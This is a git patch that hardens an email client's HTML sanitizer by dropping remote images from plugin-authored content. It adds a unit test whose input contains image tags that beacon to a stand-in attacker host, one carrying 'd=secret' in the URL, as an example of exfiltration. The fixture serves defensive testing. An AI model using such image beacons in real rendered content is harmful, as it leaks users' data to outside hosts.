From 9e64d9a0268b0d972741cdfcff951f00fa215c45 Mon Sep 17 00:00:00 2001
From: Linus Rath <139418639+rathlinus@users.noreply.github.com>
Date: Mon, 19 Oct 2026 01:15:04 +0200
Subject: [PATCH] fix: drop remote images from plugin-authored HTML so a plugin
 cannot beacon past its allowed origins

---
 lib/__tests__/email-sanitization.test.ts | 11 +++++++++++
 lib/email-sanitization.ts                | 18 +++++++++++++++++-
 2 files changed, 28 insertions(+), 1 deletion(-)

diff --git a/lib/__tests__/email-sanitization.test.ts b/lib/__tests__/email-sanitization.test.ts
index b08e3dee1..7ba25b9d5 100644
--- a/lib/__tests__/email-sanitization.test.ts
+++ b/lib/__tests__/email-sanitization.test.ts
@@ -832,6 +832,17 @@ describe('email-sanitization', () => {
       expect(sanitizePluginBodyHtml('')).toBe('');
       expect(sanitizePluginBodyHtml('   ')).toBe('');
     });
+
+    it('drops remote images, which would carry data to any origin from the host page', () => {
+      // The sandbox CSP keeps a plugin to its manifest's httpOrigins; an
+      // https: image in text the host renders is a request to anywhere.
+      const out = sanitizePluginBodyHtml(
+        '<p>x</p><img src="https://attacker.example/x?d=secret"><img src="//attacker.example/y"><img src="data:image/png;base64,iVBORw0KGgo="><img src="cid:part1">',
+      );
+      expect(out).not.toContain('attacker.example');
+      expect(out).toContain('data:image/png;base64,');
+      expect(out).toContain('cid:part1');
+    });
   });
 
   // ALLOWED_URI_REGEXP excludes image/svg+xml on purpose (DOMPurify cannot see
diff --git a/lib/email-sanitization.ts b/lib/email-sanitization.ts
index 278cacf16..3600ef6c3 100644
--- a/lib/email-sanitization.ts
+++ b/lib/email-sanitization.ts
@@ -262,9 +262,25 @@ const PLUGIN_BODY_SANITIZE_CONFIG = {
   ALLOWED_TAGS: [...SIGNATURE_SANITIZE_CONFIG.ALLOWED_TAGS, 'ul', 'ol', 'li', 'blockquote', 'h1', 'h2', 'h3', 'pre', 'code', 's', 'hr'],
 };
 
+/**
+ * Drop images in plugin-authored HTML unless they are embedded. A plugin's
+ * network reach is its manifest's `httpOrigins`, enforced by the sandbox
+ * CSP; an `https:` image the host page then loads for it is a request to
+ * any origin, carrying whatever the plugin put in the URL. A user's own
+ * signature may keep remote images (restrictSignatureImages); a plugin's
+ * text may not.
+ */
+function restrictPluginImages(node: Element): void {
+  if (node.tagName !== 'IMG') return;
+  const src = node.getAttribute('src');
+  if (!src || !/^(?:cid:|data:image\/(?:png|jpe?g|gif|webp);base64,)/i.test(src)) {
+    node.remove();
+  }
+}
+
 export function sanitizePluginBodyHtml(html: string): string {
   if (!html?.trim()) return '';
-  DOMPurify.addHook('afterSanitizeAttributes', restrictSignatureImages);
+  DOMPurify.addHook('afterSanitizeAttributes', restrictPluginImages);
   try {
     return DOMPurify.sanitize(html, PLUGIN_BODY_SANITIZE_CONFIG);
   } finally {